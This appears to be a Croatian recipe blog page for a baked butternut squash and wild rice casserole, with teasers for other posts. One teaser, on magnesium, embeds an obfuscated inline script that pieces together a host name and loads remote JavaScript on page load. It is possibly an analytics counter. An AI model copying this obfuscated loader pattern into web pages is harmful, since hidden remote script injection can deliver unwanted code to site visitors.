ZAPEČENI SLOŽENAC S TIKVOM I RIŽOM


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>Zapečeni složenac s tikvom i rižom


Zapečeni složenac s tikvom i rižom 



Ova će kombinacija oduševiti svako nepce i upotpuniti svaki stol, a priprema ne zahtijeva puno truda. Kremasta, aromatična i izuzetno zasitna, ova zapečena kombinacija butternut tikve i riže idealan je klasik. Najbolji dio? Većina pripreme može se obaviti unaprijed. Smjesu je moguće sastaviti do koraka dodavanja vrhnja, poklopiti i čuvati u hladnjaku do četiri dana. Na dan posluživanja dovoljno je dovršiti umak i zapeći do zlatnog savršenstva.




Zapečeni složenac s tikvom i rižom 


Sastojci:


  • 1 šalica (185 g) mješavine divlje riže


  • 420 ml povrtnog temeljca (po potrebi još malo)


  • 450 g narezane butternut tikve (oko 3,5 šalice)


  • 1 žuti luk, narezan na tanke režnjeve (oko 1 šalica)


  • 110 g mješavine svježih šumskih gljiva ili šampinjona, narezanih


  • 3 grančice ružmarina


  • 2 žlice balzamičnog octa


  • 3 žlice maslinova ulja, podijeljeno, plus još malo za posudu


  • 1 žličica košer soli, podijeljeno


  • 360 ml vrhnja za šlag


  • 35 g naribanog parmezana (oko ½ šalice), podijeljeno




Priprema:

Priprema riže

Pećnicu zagrijati na 220 °C. Skuhati rižu prema uputama s pakiranja, ali s temeljcem umjesto vode. Prebaciti u veliku zdjelu i ostaviti da se ohladi do sobne temperature, povremeno rastresajući vilicom.



Priprema povrća

Lim obložiti papirom za pečenje. Na njega rasporediti tikvu, luk, gljive i dvije grančice ružmarina. Preliti balzamičnim octom, 2 žlice ulja i ¾ žličice soli pa sve dobro promiješati. Peći 25–35 minuta, dok tikva ne omekša i lagano ne posmeđi. Ukloniti grančice ružmarina.



Aromatiziranje vrhnja

U manjem lončiću zagrijati vrhnje s preostalom grančicom ružmarina. Kuhati na srednjoj vatri dok se ne pojave mjehurići uz rubove, zatim maknuti s vatre i ostaviti 15 minuta da se okusi prožmu.



Spajanje i pečenje

Pečeno povrće, ¼ šalice parmezana i ostatak soli umiješati u rižu. Smjesu prebaciti u lagano nauljenu posudu za pečenje (zapremnine oko 2 litre). Preliti aromatiziranim vrhnjem. Po površini posuti ostatak parmezana i pokapati s preostalom žlicom ulja.


Peći 30–35 minuta, dok se umak ne zapjeni uz rubove, a vrh lijepo ne porumeni.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više